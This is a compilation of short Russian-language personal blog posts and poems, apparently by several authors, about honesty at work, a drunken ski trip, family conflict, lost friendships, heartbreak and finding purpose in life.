всегда в душе есть желание свалить в другой город, где точно знаешь, что не встретишь на улицах никого из знакомых. (меня порой параноит, хотя я и знаю, что увижу его в тот момент, когда не буду этого ожидать, но сейчас мне крайне не комфортно в этом городе. мне всегда было наплевать на толпы людей в автобусах и торговых центрах, но сейчас я оглядываю то пространство, в котором нахожусь, ведь вдруг так страшно, если он будет видеть тебя оплачивающую проезд, а ты его видеть не будешь.)
да дело не только в нём.
хочется просто уехать, удалить все соц.сети и пожить одной там, где ты никому не нужна и никто не нужен тебе. и что за безумное желание оставить всех? может это новая иллюзия, будто если меня нет для тех, кого я знаю, то меня и вовсе нет. и я смогу просто отдохнуть. прежде всего от себя самой.

но еще я удивилась, когда поняла, что не выдохлась. что есть ещё чёртов порох. и что я справлюсь. но по-своему.

У меня есть сводная сестра, которая работает в супермаркете и грамотно ее должность называется "менеджер торгового зала", но по факту она раскладывает продукты по полкам, следит чтобы все было аккуратно, следит за сроками годности (наверное, лол), накладывает людям в контейнеры салатики и прочую еду, режет продукты и фасует.

Однажды я была у нее и наблюдала картину. Подходит молодая женщина, спрашивает у сестры, мол, у вас холодец свежий, вкусный? На что моя сестра сделала задумчивый взгляд и безмятежно ответила: "А я даже не знаю, не пробовала". Этот ответ сделал в моей головы быстрый вывод и я тут же выдала (а может и не стоило, ибо сделала это прям при той женщине): "Дааа, продажником тебе не стать". Женщина улыбнулась, а сестра резонно заявила, что врать она не будет. "Зачем мне говорить, что холодец вкусный, если я его не пробовала? Свежий, да, но о вкусе говорить не могу".

ххх

Мама всегда говорила, что уважает в нас с сестрой честность. Мама всегда в нашем старом доме оставляла свой кошелек в одном месте на протяжении всей жизни в том доме и все знали, где он лежит. Понятное дело, там не лежали сотни тысяч, но все-таки кое-какие деньги лежали всегда. И были такие моменты, когда у сестры было туго с деньгами. Она приезжала к нам, но никогда не смела брать у нас деньги. Мама говорила: "Будь мои дочери хоть какими людьми, хоть злыми, истеричками, стеснительными (последнее, вероятно, обо мне), но они никогда не возьмут чужого".

Вообще, за последнее время мне открылось столько всего старого-нового, что я офигеваю. Я наверное стала в 10 раз мудрее, в 10 раз стала лучше понимать современное устройство мира и мне в 10 раз стало противнее жить.

Все из-за моих "работ".

Помните, я писала, что не буду больше трепаться и покажу конечный результат? Показываю. Нашла тут на днях объявление, что в косметологию требуется администратор. Указали, что обязанностями будет консультации, ведение баз данных. Вроде, все нормально. По факту оказалось, что это телемаркетинг. Девчонки, сто процентов, что вы сталкивались с таким. Вам звонит девушка и предлагает бесплатные спа-процедуры, но с возрастным ограничением - 28 лет. Первая процедура бесплатно (за это время доктор и администратор тактично приседают на уши, чтобы эта женщина купила абонемент в дальнейшем). Все просто.

В косметологии ну крайне приятно: уютно, чисто, красиво, светло.

Но тут нам сказали, что нужно будет "играть с клиентом", манипулировать им. Мне стало противно, я скорчила лицо на мгновение (потом исправилась, аха). И план у них есть - 16 человек нужно заманить. Я, среди остальных пяти девушек, задавала вопросы, мол, где вы берете номера "несчастных" и так далее. Мне что-то там лепетали в ответ, а я думала, что не хочу жить в мире, где человек является каким-то мясом, чьей-то зарплатой за месяц.

Сплошное вранье. Я ехала в автобусе домой, слушала песню Whore и приписывала ее ко всем работодателям, у которых была последнее время.

Слушайте, неужто сейчас нет нормальной работы с достойным заработком, но чтобы не пришлось обманывать людей?

Я рада, что не стала причастна к этому. Пусть я не покупала себе одежду уже почти год, ходить весной буду в старых немодных ботинках третий год подряд, но я точно знаю, что меня не будет мучить совесть по вечерам. Я буду знать, что за мою работу какая-нибудь женщина не будет меня посылать к черту. #янапафосе :D

Вот такая вот принципиальность.

Если что-то, чем мы дорожим, повреждается, мы не можем отвести взгляд от этой трещины или вмятины. Первая глубокая царапина на корпусе новой машины, первая явная ложь нового любовника, отверстие в мозаичном панно на месте плитки. Мы всегда знали, что это неизбежно, но втайне верили, что сможем избежать такого несчастья, уклониться от удара, обмануть судьбу. Иногда последствия удается смягчить, но что бы ни подверглось разрушительному воздействию — вещь, отношение, чувство, — оно уже никогда не будет прежним. Никогда.

"бля, сколько тут взрослых"

День 343: Последний человек, которым Вам написал. Как Вы познакомились?

Ромчик. Летом через Лену и Веру, мы пошли гулять, с Бородой и Гришей еще. Пивас пили в тайме.

День 344: Если бы Вы были художником, в каком стиле ты бы работали?

я и так нормас рисую. Не знаю, у меня какой-то свой наркоманско-психоделическом стиле

ЭТО БЫЛО ТАК ОХУИТЕЛЬНО

Ну, было так топово.
Ну добирались часиков 6, приехали ночью
И вот на следующий день был такой тооп. Я села на открытый подъемник с Ромчиком, просто радовалась как ребенок, я там от счастья чуть не заплакала, потому что такой вид охуенный, мы с друзьями в Геше и прям столько эмоций было
Потом поехали с горы, мы там минут 40 спускались сначала, когда трассу не знали, потом еще Юлю ждали, потому что она плохо катается. У нее такой синяк на заднице, реально космос
Потом уже начали кататься отдельными компаниями, ну там кто быстро, кто медленней катается. Ромчик вообще в лес уехал, и два часа ходил искал подъемник. Но при этом остался доволен
В итоге после катания мы такие: "не бля, бухать будем этой ночью, а не следющей "
Ну приехали, накидались, играя в блитц (это наша игра, когда ты пьешь дохуя шотов подряд через определенный промежуток времени, ну короткий естессна)
ДАльше там фанились с Поршом, он меня пол ночи учил своей фишке(ну там долго рассказывать), и вот это Порша: "Я НЕ БАС ГИТАРИИИСТ". Сука в голос просто, три дня подряд с промежутком в 5 минут звучала эта фраза
Ладно, еле встали на следующий день. Покатались, я так жестко уебалась, прокатилась метров 30 с горы, благо упала норм, ниче не отшибла.
НУ мы уже катались на другой трассе, она нормасик заходила. Как-то втроем въехали друг в друга на горе, упали все. Уж купили подъемы, думаем, что полюбому завтра поедем, купим скипас. АГА БЛЯ МЫ ТАК НАКИДАЛИСЬ В ЭТОТ ВЕЧЕР, ЧТО НИКУДА НЕ ПОЕХАЛИ НА СЛЕДУЮЩИЙ ДЕНЬ
Просто бухали по такой жести, почти все. В один прекрасный момент Николай (наш водитель, который пил с нами) говорит: "этой девочке не наливайте больше, посмотрите на ее лицо", все такие ОХУЕЕЕТЬ. Блять, у меня пошла сыпь по лицу, ебнула две таблети против аллергии, потои Николай дал свою настоечку выпить, ну и все прошло через минут 30. лол.
Еще когда Запивон кончился, запивали рассолом, рассол кончился, запивали морсом из воды и варенья. Потом еще взрывали под джимбо, янг треппу, Артем включал олд скулл, че кого, пацаны как начали тверкать и бить друг друга по заднице, просто такой фааан. Дальше там, остались уже я, Порш, Федя, Ромчик и Ярос. Мы таааак рвали глотки под ATL у нас даже ауудио в вотсе есть, где просто у нас уже голоса нет, а мы такие:"ТРИ ДВА ОДИИИН И ВСЕМ ПИЗДАААА ЭЙЙЙ "бляя, просто такой взрыв был
Потом я не помню, как я пошла спать. Проспыаюсь от того, что Порш со мной разговаривает. В общем, выяснилось, что я пошла спать на кровать к Ромчику, потом еще туда уложили Яроса и меня никто не накрыл, а в доме пиздец холодно, и Порш меня перенес на другую кровать, чтоб укрыть, и там согреться между остальными людьми. С утра Порш похвалил меня, что я нормально бухаю. \странный комплимент, конечно\. Ну Порш вообще машина, реально, бухал до конца, спал часа три, проснулся и поехал на гору еще. Мы проснулись, охуели от отого, что еще бухие и спать легли дальше. Но блин, просто так взорвали, это было незабываемо прям
А в автобусе мы ехали, с Поршом спали сначала пол дороги, а потом он выпил кофе и пиздец его понесло, я пытаюсь уснуть на нем, а он дрыгается, еще и шутки кидает, и ты просто лежишь и ржешь как дургк.
А еще у нас в Геше как-то так получилось, Что мы переделывали почти все песни, которые слушали
Особенно зашло "НА СНОУБОРДАХ НАХ И В СИНТИПОНОВЫХ ШТАНАХ", как мы ее пели днями и ночами просто. Еще Николай с нами был, сначала было странно, что водитель с нами, но он оказался оочень крутым мужиком, мы даже пили за него. И мы рофлы кидали, тип "ЕЩЕ ЧУТЬ-ЧУТЬ И ПРЯМООО В РАЙ И ЖИЗНЬ УДАЛАСЬ, С НАМИ ПЬЕТ НИКОЛАААЙ "
А когда ехали обратно, вечно шутили, тип: "НУ НННАХЕР, НИКОЛАЙ, РАЗВОРАЧИВАЙТЕСЬ "
Ну вот сейчас все придут допивать остатки алко с Геша и вспоминать веселый отдых <3

У мужчин все намного проще: если он проводит с вами время, значит он либо вас действительно любит, либо просто хочет вами воспользоваться. Первый вариант долгосрочный, второй - нет, тем более есть еще много факторов, по которым можно понять, что мальчик-то к вам ничего не чувствует, он всего лишь хочет от вас секса или чего там еще можно хотеть.

У девушек все сложно. Мы придумываем, додумываем, страдая синдромом поиска глубинного смысла, пытаемся выжить в абсолютно нормальных условиях, потому что у нас в крови вечное желание все портить в своих мыслях. Видимо, чтобы обдумать каждую ситуацию, которая только может быть и не может быть. Ага.

Но в жизни все, конечно же, намного проще. Преумножать проблемы - палки в колеса. Сами себе подножки ставим, выдумываем что-то, ищем какой-то подвох, когда его нет, думаем о том, что что-то есть, когда этого не существует. Сами себя обманываем, а потом говорим, что вокруг полно подводных камней.

В общем, пора прекратить заняться самобичеванием.

Старайтесь быть добрыми к своим родителям. Если вам необходимо бунтовать, бунтуйте против тех, кто не столь легко раним. Родители — слишком близкая мишень; дистанция такова, что вы не можете промахнуться.

Иосиф Бродский

Я отношу себя к такому типу людей, которым очень важно видеть годноту в инстаграме, в том плане, что я подписываюсь только на тех, чьи фотографии мне кажутся красивыми, либо за кем мне интересно следить. Может со мной что-то не так, но я вообще не люблю профили забитые кучей селфи и жалкими попытками сделать крутое фото. Конечно, у каждого человека свое понятие о том, что красиво, а что нет, поэтому мне бы хотелось поделиться тем, что мне действительно нравится.

По моему мнению, одним из самых красивых профилей в инстаграме является профиль Коннора.

Если кто не знает, хотя я думаю, все знают его, Коннор Франта - ютубер. Он является одним из моих любимчиков на англоязычном ютубе. Я могу назвать его видео атмосферными и оригинальными. (Например "Life Doesn't Wait")

Он делает потрясающие фотографии, каждая из которых сама по себе особенна и красива.

Если честно, инстраграм Коннора мой самый любимый, потому что в нем нет ничего лишнего и ненужного.

Именно поэтому, я хотела бы, чтобы некоторые его фотографии остались в моем блоге.

Больше фотографий Коннора здесь.

Я думаю о тебе и не ищу в этом радости или смысла
Ты снишься мне, несмотря на часы и числа,
И если Бог дал мне такую любовь, то куда идти с ней?
Как мне говорить о ней, унимая дрожь?

Мне жизни становится мало для этой ноши,
Ты слишком реален и сладостен, мой хороший,
Как будто вчера мы прощались в моей прихожей,
Как будто бы завтра ты снова туда зайдешь.

Спасибо, девочки, за приятные слова к предыдущему посту) Еще больше я конечно рада тому, что даже моей привереде-маме понравилось платье) Так, что на следующей недельке буду его заказывать и у меня будет целая куча времени его переделать (или на крайняк купить другое) если оно придет плохого качества. Девчат, я знаю что алиэкспресс это огромный риск, но я так часто оттуда заказываю, что уже по-моему собаку на этом съела :D В любом случае лучше я рискну и потрачу на платье своей мечты 10 тысяч, чем куплю у себя в городе какую-нибудь гавеху которая мне не нравится, просто потому что потратить 87 тысяч на платье я не могу и в общем-то даже не хочу.

Сегодня ходили с Андреем в кино на ужастик "Кукла", ниче такой фильмец, на разок рекомендую пощекотать нервишки) Несколько моментов действительно заставляли весь зал кричать от ужаса))

А еще я так сильно хотела похудеть к свадьбе. Даже 3 недели сидели на правильном питании. И вот опять сорвались и жрем всякую пакость. Наверное для меня проще за месяц до свадьбы жестко сесть на одну пареную гречку, чем спокойно пол года придерживаться ПП. При росте 173 вешу 62, это прям мой максимум, семейная жизнь меня портит. Вот когда я весила 53 и меня называли анорексичкой, тогда мне нравилась моя фигура. А теперь мне уже даже мои огромные сиськи не нравятся. Хочу двоечку.

я перестала испытывать эту хуйню, эту ебаную надежду, которая ничего кроме хуйни мне не принесла, я сейчас кажусь самоуверенной, но так и есть, если бы я не была уверена в некоторых вещах я бы уже давно сошла сума на почве того, что эта надежда просто не подтверждается

я больше не звоню ему. не стоит.
он дал мне столько холода тем летом,
что можно было Арктику надстроить,
что можно было заморозить всю планету.

я больше не пишу ему. не надо.
он научил меня как стать циничней.
он показал на дверь чужого ада,
и я брожу там. мегабезразлична.

я больше не ищу его. зачем мне?
так и не понял слов—ни шепота, ни крика,
я даже не ищу ему замену.
я стоптана, исчерпана, безлика.

мир умер. я брожу по парапету.
в попытках рвать саму себя на части.
и сжаться в ком, и заорать в чужое небо,
" я больше не ищу тебя" ты счастлив?

мне нечем хвастаться, я хотела матери рассказать о себе и о том, как я воспринимаю этот мир, как-то я попыталась

все это вылилось в скандал, она сказала, что я животное, а я то просто от нее отличаюсь

вчера эта хуйня повторилась

она из-за сових комплексов, которые в ней воспитал отец не может никак от меня отвалить

она мне надоела, все хорошо, когда нейтральные темы

но мое мировоззрение оно ее убивает

так же как и меня ее доброта и вечрная надежда

не зря дельфин пел

"Надежда - самообман, но это все что у нас есть.

Она ходит по рукам, продавая свою честь.
Эта лживая тварь пыль пускает в глаза,
Исчезая в тот момент, когда она так нужна."

а мать никак не может понять

хуй с ней

главное меня не трогать

для нас есть одна дата, котоаря будет скоро

даже, несмотря, на то, что мы до чертей в разных частях сейчас, в разных города, странах

я все равно жду

потому что нет ничего милее для меня этой странной даты

23-е февраля

странная дата

Забавный факт (ну или не очень)

Вот наступил следующий день, я собиралась на нашу встречу, отправила подруге фотки с той шапкой, она одобрила и естественно поинтересовалась насчет того, куда это я собралась. Получился вот такой диалог:

Этими сообщениями мы обменивались в то время, как я уже шла к назначенному месту. Вот если бы она не спросила, потом было бы неловко, ну или я бы вспомнила имя сама

Готовлюсь сейчас к экзамену по психиатрии, хочется постоянно захлопывать учебник и кричать в слезах: "ЖИЗА!! ЖИЗА!!!"

Пересматриваю фото из Германии, 2012. Я тут поняла, что я попросту влюбилась. Как в человека, знаете? Только сильнее. Я влюбилась в страну, причем уже давно. У меня сейчас так сердце колотится и слезы на глазах, когда я вновь вижу немецкие пейзажи. В такие моменты я понимаю, что расшибусь в лепешку, из кожи вон вылезу, какие-то еще фразеологизмы, но я буду жить там. Я ни за что на свете не останусь тут, и кидайтесь камнями, сколько хотите. Ну не патриотка я, Россия - это не моё. Я люблю те места и надеюсь, что это взаимно. Будь моим домом.

за последние дни убедилась в непорядочности людей. я всегда знала, что люди меркантильные твари, полные злости, лицемерства и грязи. это дерьмо сочится из них, открывая самые отвратительные стороны их души. и я, возможно, не исключение, но я бы никогда не стала презирать незнакомца, не обокрала доброго ко мне человека и не бросила бы его в трудную минуту.

доброте учат или ты рождаешься с чистым сердцем?
по-моему, мы все рождаемся одинаковые. чистый лист бумаги, а родители художники и писатели в одном лице. окружающий мир наш учитель, но почему тогда в попытках воспитать хорошего, добропорядочного и честного человека родители выращивают монстра?

недостаток любви, внимания, или же наоброт его переизбыток - что так влияет? есть дети, которые росли сорняками, но при этом они вырастают в красивые цветы. что не так?

и вот в эти последние дни я столкнулась с лжецами, притворщиками, злыми недоброжелателями, ворами, предателями и завистниками. как люди, у которых есть все, которых любят, которыми дорожат, которые не отказывают себе в радостях жизни, могут быть такими злыми?

у меня нет много того, что есть у них, я не хватаю звезд с неба, но я и в мыслях не могла подумать о том, о чем думают они.

я неправильный человек?

стоит быть жестокой и полной ненависти. таких боятся? нет, таких обходят стороной.

Какой-то сумасшедший сегодня день.
После пар мы с По должны были пойти к цирку и купить кое какие вещи для моего подарка Тёме на 14 феврали, а после дойти до голубого за тканью. Что за вещи говорить пока не могу так как Тёма иногда почитывает мой блог.
После второй пары мы пришли с перемены в аудиторию, у Поли падает телефон (читай айфон) и разбивается переднее стекло. При чём так, что никакая противоударная плёнка ей не помогла и теперь фронтальная камера как будто в тумане. Она конечно же в шоке, чуть не плачет, бесится. Я позвонила Тёме и узнала где её можно поменять. Она решает не сидеть последнюю пару, а рвётся ехать в сервис и узнавать стоимость ремонта.Ну а я с ней, так как не хотела оставлять её одну.
Мы садимся в маршрутку и доезжаем до голубого, узнаём что ремонт будет стоить 6200 и уходим, так как денег таких у неё сейчас нет.
Зашли еще в один сервис-центр, ничего там не узнали и пошли посмотреть мне ткань, всё равно по пути. Уже в магазине я стою, выбираю, а она говорит мол я домой, разворачивается и уходит. Я вообще в шоке была.
В итоге я прошлась по нескольким магазинам ткани, купила нужную мне и попёрлась до цирка за необходимыми мне вещами.
Мои руки отваливались от тяжёлой сумки и я натерла себе мазоль на пятке, так как недавно мне Артём вкрутил в сапог шуруп из-за того, что он начать отклеиваться. До сих пор не знаю почему я не поехала сразу к цирку.

Не понимаю и никогда не пойму этой шумихи, которую сегодня устроила По. Да, печально, да большие деньги, но было бы страшнее если бы она его потеряла. Тем более мама поддержала её и сказала, что они заменят стекло.
Если я раньше хоть немного хотела себе айфон, то сейчас всё желание отбило то, что сегодня было. Потому что нельзя настолько загонятся насчёт гаджета.
Не в обиду всем владельцам айфонов.

Мы с ней сидели с ней на квартире у наших друзей-одногрупников. Вокруг музыка, дым от кальяна, свет гирлянды. Всем весело, кто-то шутит, заливаемся от смеха. Она случайно задевает мою руку, раз, два. Я не придаю этому значения. Она кладет свою руку за мной на спинку дивана, ладонь на моем плече. Я снова делю вид, что ничего необычного не происходит. Потом она наклоняется вниз и в этот момент меня кто-то зовет я поворачиваю голову и случайно касаюсь губами ее волос на затылке. Блин, неловко немного вышло. Странно она себя ведет как-то..
Ей нужно было сходить снять деньги в банкомате, мы дороговорились вместе выйти и поехать домой - нам в одну сторону. Она ушла. В назначенное время я подхожу на остановку, сажусь в трамвай, который стоял там. Уже не думаю, что увижу ее сегодня - она очень любит неожиданно уходить, никого не предупредив. Но она сидит в пустом трамвае. Я сажусь рядом. Начинаю рассказывать забавную историю, которая произошла в ее отсутствие. Но она не слушает и кладет мне голову на плечо и начинает плакать. Я абсолютно теряюсь в том, что происходит, не знала, что она вообще умеет плакать. Она наклоняется и на ухо начинает шептать.
- Я ушла от нее. Я больше так не могу. Сегодня Н собрала вещи и ушла из квартиры. Я просила, будет ли у нас все хорошо, Н сказала, что с ней просто не будет. А я не могу уже, и я попросила ее уйти. - она снова начала плакать.
Я была немного в шоке и мне было очень больно видеть ее такой расстроенной.
- И больше это не исправить разве? Может, это просто ссора?
- Нет, не хочу так больше. Я из-за нее отдалилась от родителей, перестала к ним приезжать на выходные. Вечные ее страдания меня раздражают, я и сама стала такой же вечно печальной. Вечные ссоры, нет больше сил.
Я все еще не знаю, что сказать.
-Слушай, поехали к тебе, накормишь меня вкусняшками, как ты умеешь, и расскажешь мне все эти глупые истории, что успели приключиться без меня.


Что произошло дальше? Я проснулась.
Ненавижу такие сны. Они меня убивают. И ведь уже все в прошлом, я не думаю об этом, но иногда такой сон может испортить весь день.

Мы обязательно встретимся,
Не в этой жизни, дак в следующей,
Ты будешь ждать меня,
Знаю,
Ты мой первый.
Единственный.

Я пройду все дороги,
Буду верить, молиться,
" Ты дождись меня, Господи "
Прошепчу я.
Не спится.

Не усну я в тревоге,
Может даже и в радости,
Ты мне снишься,
Я знаю,
В твоём сердце нет места.

И уже не вернуть нам
Нашу первую встречу,
Ведь в том мире прохожих,
Две души искалечены.

Я стою на коленях
И смотрю в небо чистое,
Ты прости меня, слышишь?
Я сдалась,
Мы не встретимся.

В последнее время меня накрывают старые воспоминания. Я безумно скучаю по дружбе с моей бывшей лучшей подругой детства, да и по другим девочкам тоже. Так классно было устраивать фотосессии, ходить друг к другу с ночёвкой, гулять по магазинам, делиться всякой ерундой, да даже просто сидеть вместе на уроке и смеяться так, чтобы учитель не заметил. Тогда казалось, что всё это навсегда. Не было даже мысли, что это всё однажды закончится. Я скучаю: (

я разговаривала с Цветочком у себя в голове. а все потому что он мне приснился. внезапно так. во сне он был в теплом свитере, весь такой уютный и светлый. он обнял меня. обнял не так, как обнимает парень свою любимую девушку, и даже не по-дружески. это было, как будто он сказал: "эй, ты чего? не смей там тосковать и грустить. я рядом. я здесь". это было так тепло.

и пускай мы не разговаривали с ним полтора года, и пускай мы перестали поздравлять друг друга с днем рождения. мне хочется думать, что где-то за тысячи километров есть человек, который все равно помнит обо мне. я в этом почти уверена.

я разговаривала с ним у себя в голове (шизофреничка, да). я знаю, что бы он мне сказал, если бы мы увиделись.

"ты умница. ты всегда была умницей. и не смей думать, что у тебя что-то не получится. ты вообще трусишка, но умница. Умница, слышишь? и ты достойна лучшего."

потому что он всегда говорил мне, что я умница. и в моей голове он говорит мне то же самое и сейчас. и мне становится легче.

Как же я не люблю общаться с людьми. Если раньше я думала, что во всем виновата моя замкнутость, то сейчас я понимаю, что мне всегда было просто по барабану и замкнутость моя от этого "по барабану" и появилась. Ну никогда у меня не было друзей, только случайные разговоры, может быть, какие-то компании, в которых я прибывала долгое время (два-три месяца), но чтобы forever friends, чтобы в моей жизни присутствовали люди, которым я про себя что-то рассказывала и о которых я хотела что-то знать, - неа, таких точно не было.

Мне влом общаться. Честное слово, я не вижу в этом никакого смысла. Ради чего? Ради пустой траты времени? Мне хватает ленты в инстаграм и утренних новостей. Вместо балаболия по телефону и рассказов о том, какой сосед гандон, а учеба запарила, я лучше почитаю книгу или выучу десятка три новых слов.

Поэтому как только я вижу человека, я бегу сломя голову, лишь бы не заговорил со мной. И да, в университете приходится не сладко: выслушиваю истории новоиспеченной "подружки" про секс с ее хахалем, слушаю несмешные офигенные истории из жизни пацана с прической, как у Иисуса, и пытаюсь не заснуть на парах, где преподаватель толкает крутые речи про свою молодость.

Мой лучший друг - я. Собеседник - я. Партнер по танцам - я. Другого, видимо, не дано.

Любые отношения - это совместное развитие или совместная деградация. Если один идёт вперёд, а другой стоит на месте - люди расходятся. Это закон.

Даже уезжать от котиков не хочется. Завтра уже вернусь обратно, но так и тянет сдать билет и вернуться к ребятам в анатомичку. Они дают сил.

Папа чинит кровать, на которой хорошо попрыгали дети, мама ему помогает. Тут мама уходит готовить мелкой завтрак и спрашивает у папы: "Я тебе сейчас не нужна?" (в смысле помощи в починке кровати), а папа отвечает:
"Ты мне всегда нужна"

Просто awww ♥_♥
Надеюсь, в жизни каждой из нас появится такой мужчина, который будет так говорить.

Сегодня встретились с С. Нужно было забрать телефон сестры перед поездкой домой. Это было неловко. Неловко смотреть на человека, и при этом жалеть, что вы больше не обнимаетесь при встрече. Ты его больше не можешь назвать уменьшительно-ласкательным именем, как раньше. Ведь вы уже больше двух лет не общались. Все из-за глупой ссоры, которая перечеркнула дружбу.

Перед этой встречей я вспомнила всё. Наши весёлые встречи, наш поцелуй, вечные объятия и наши тайны. Вспомнила, как мы оба хотели переспать друг с другом, но мешали обстоятельства и статус друзей. Друзей, которых тянет друг к другу. Но один в отношениях, а другой не может пережить прошлые. Когда я вспоминала это все, то представляла, как все могло быть. Как я могла разрешить ему остаться после поцелуя, как после прогулки под дождём мне стоило лишь обнять его в ответ и потянуться к губам, как в ночь, когда он приехал ко мне, могла не отодвигаться от него. Однако дальше развитие отношений я не видела. Но это было и не важно.

И вот, после всех этих мыслей человек стоит передо мной. Смущается, просит прощения за обиды и я прошу в ответ. Я смотрю на него и понимаю, как мы далеки друг от друга. Между нами расстояние меньше метра, а ощущение, будто разделяет пропасть. Я рада за него, за все его достижения, за его семью. Но где-то глубоко внутри екает и мне очень хочется поговорить с ним как раньше. Только пропасть больше не перейти, все мосты были безжалостно сожжены. И от этого немного грустно.

P.S.: написала вчера в заметках, пока ехала домой. А сегодня С. написал мне, снова извинился и мы с ним немного поболтали. Боже, как мне этого не хватало

Я знаю, почему все получается в жизни именно у, так называемых, "неумных" людей. У тех, кто всю свою юность хватал троечки и шел против "системы", у тех, кто не поступил в институт, у тех, за кого родителям было стыдно. Дело не в закалке, не в выносливости, хоть их и предостаточно у таких людей, относительно чьего-то паршивого мнения.

Сначала мы стремимся быть первыми в школе: старательно тянем руку вверх, мечтая достать до звезд. Олимпиады школьные, районные, областные, краевые… Тонны книг, кажется, уже сваленные в одну кучу в голове, сотни тетрадей на полках исписанные донельзя и сотни бессонных ночей перед экзаменами. Дальше - институт, до невозможности долгие сессии, круги под глазами, литры кофе и энергетиков.

Нам нужно вечно кому-то что-то доказывать: что вот тут я лучше нее, а здесь лучше него, и совсем непонятно - зачем? Зачем мы все это делаем, к чему стремимся в этой бесконечной гонке за первенством? Родители только дают "пинок", тем самым направляя к этой недостижимой бесполезной цели.

Потом заканчивается все обучение и мы осознаем, что там дальше провал, пустота, бездна. Ведь в конечном счете ты никогда не хотел становиться офисным планктоном, скажу больше, ты себе клялся когда-то в детстве, таком большом и глубоком, что ни за что на свете не станешь тем дяденькой/тетенькой в костюме, с такими печальными глазами.

И вот ты здесь - случайно гаснет экран, в его черном цвете просматривается все до мелочей - перед тобой монитор, справа стопка листов, слева принтер и телефон. Вроде бы все то, о чем ты так долго мечтал, к чему рвался, пробираясь сквозь конкуренцию, неприязнь, учебу, давшуюся тебе так сложно. Ты можешь найти в этих стопках что-угодно, будь то позапрошлогодний отчет, или старая открытка из партнерской фирмы с поздравлением на новый год, здесь есть все идеально систематизированное, как конвеер, идеально уложенное, идеально расставленное. Но во всем этом есть непобедимый и вездесущий хаос, он скользит по полкам, по плинтусам остатками сигаретного дыма.

Ты видишь свое отражение в экране погаснувшего монитора и внезапно осознаешь, что находишь здесь все, кроме себя, и разбивается о скалы все твое понимание о смысле твоего существования, столь бренного и бессмысленного, падет низ вся гордость - обличие глупцов - взятых пьедесталов. И кажется точка. Уже нет сил и желания биться за что-то другое, ведь и оно может оказаться столь ошибочным.
Ты потерял себя в этой гонке. Ты проиграл.

А он - нет.

Он все свое детство ни за что не бился и ничего не делал не потому, что не хотел, а потому, что не знал, что делать и зачем. Да, он закончил какой-то там профессионально-технический колледж, за спиной три года ни к чему не обязывающей свободной жизни, которую он провел в поисках. Он ничего не ждал, ни на что не надеялся, жил каждым днем наслаждаясь общением и свободой. Человек взрослел, появлялись маленькие желания - росточки, которые в один день соеденились в одну большую мечту. Именно в этот день человек обрел смысл всего того, что было до этого.

Вот есть цель и желание и, поверьте, этого предостаточно для достижения всего чего угодно. Желание заменит и привычку усиленно работать, и умение переступать через неудачи и идти дальше. Если человек научился желать того, что можно вправе называть его призванием, то никакая сила его не остановит.

Я сейчас, конечно же, не говорю об этих вечно развязанных хулиганах-компаниях - парней и девок ничего не хотящих, ни к чему не стремящихся, что толпятся у какого-нибудь "падика" каждый вечер, нервно посасывают пиво из полторашек и потягивают сигаретку.

Мы возвращаемся к человеку, что нашел себя. И знаете, именно у него все получится. Получится, потому, что он свободен от всех условностей, от желания первенства. Он просто идет своей тропой, побеждая себя каждый день. Себя, а не кого-то другого. Он не знает как что-либо сделать, как в той или иной сфере чего-то достичь, но у него нет стандартов того как нужно в разных ситуациях поступать, где к кому подмазаться, где смолчать. Он импровизирует. Случайность, нестандартность порабощают всю продуманность и придают шарм тому самому человеку.

И вы встречаетсь в кафе лет чез двадцать после окончания школы. Ты стоишь перед ним в строгом костюме, с выглеженной блузкой и юбкой(строго 2 пальца от колена) - а он/она в повседневном. Вы пожимаете друг другу руки, садитесь за стол. Ты абсолютно уверена, что он/она - какой-нибудь механик/электрик/лифтерша/уборщица, совершенно случайно одевающийся так хорошо. Ты уверена, что эта гонка выиграна, ты одержала победу. Но разговор приводит тебя в исступление, потому что этот ничего не делающий мальчик/девочка, просидевший все десять лет за последней партой, этот троечник и просто лентяй вдруг оказывается главным редактором значительного глянцевого зарубежного журнала. И что больше: он/она абсолютно счастлив, потому, что его работа на самом деле не работа, а удовольствие.
А ты можешь лишь делать вид, что так же свободен, независим и счастлив.
Вот так.

Суббота.

Человек относился ко мне самым худшим образом: унижал, лагл о чувтвах, изменял. Господи, но почему я до сих пор каждое утро задаюсь вопросом: "думаешь ли ты обо мне так часто, как я о тебе? "
Вместе того, чтобы выбросить из головы абсолютно ненужный хлам, я изо дня в день схожу с ума по нему.
Говорят, что лечит либо время, либо другие люди. В моем лучае не работает не то, не другое.

Лозунг дня:

Излишняя доверчивость тебя погубит.

Как - то в моей жизни идёт всё очень странно. Моя жизнь зависит от моих мыслей. У меня хорошие мысли в голове - у нас всё хорошо, плохие - плохо. После последней соры мы так и не видились, а вчера у меня вообще была истерика, после которой будут последствия. Не глобальные, но будут. И так, вчера у нас был " праздник ", мы вместе уже 7 месяцев (это официальное предложение, а так мы вместе уже год). В четверг я спрашиваю, какие у него планы? Он мне говорит, что идёт на тренировку. Мне так стало обидно, что мы и так долго не виделись и в наш день, он идёт на тренировку, вместо того чтобы побыть со мной. Я очень растроилась. Вчера вечером он мне не отписывал на сообщения, трубку не брал. Я думала, неужели ему тренировка важнее меня? Наши отношения не такие и крепкие, так зачем их и дальше рушить?? Ну я позвонила своему брату, вся в слезах, он меня успокоил, сказал дай номер, я с ним поговорю. Мч тоже не брал трубку от моего брата. Потом, когда я уже чуть успокоилась, я решила лечь спать. Проснувшись около полуночи, я зашла в вк и увидела, что мч ездил с папой в село. Он был за рулём и не мог взять трубку. Я была очень злая, можно было мне сразу же сказать, что он с папой. Сегодня у меня очень большое желание напиться. Я хочу расслабиться и не думать ни о чем.

Бывает, когда я недовольна тем, как прошел день, потому что невыполнила то, что планировала, а просто смотрела сериал. Но сейчас я почему-то чувствую совсем другое. Я получила удовольствие от мини-каникул, я просто отдыхала и наслаждалась тем, что нравится. И, как я думаю, делать надо, когда есть желание. Потому что иначе все будет сикось-накось ;)

просто захотелось

Проснулась в очередной раз как ужаленная. Эти мысли не перестают покидать меня даже во снах. Во сколько она легла спать?Что она делала в 3:58? Что она будет делать, когда я уйду? Хочется верить, что они оба просто побегут, просто позавтракают и просто будут проводить время как обычно. Но как это, как обычно? Может мое обычно расходится с их? Остается молить Господа:"Боже дай мне сил перестать об этом думать. Ведь это муж и жена. Их обряды священны. Господи милый мой, одари меня самодостаточностью, избавь меня от ревности. Я прельну к твоим ласковым стопам. В слезах. Толи от счастья, толи от неумолимого горестного порыва".

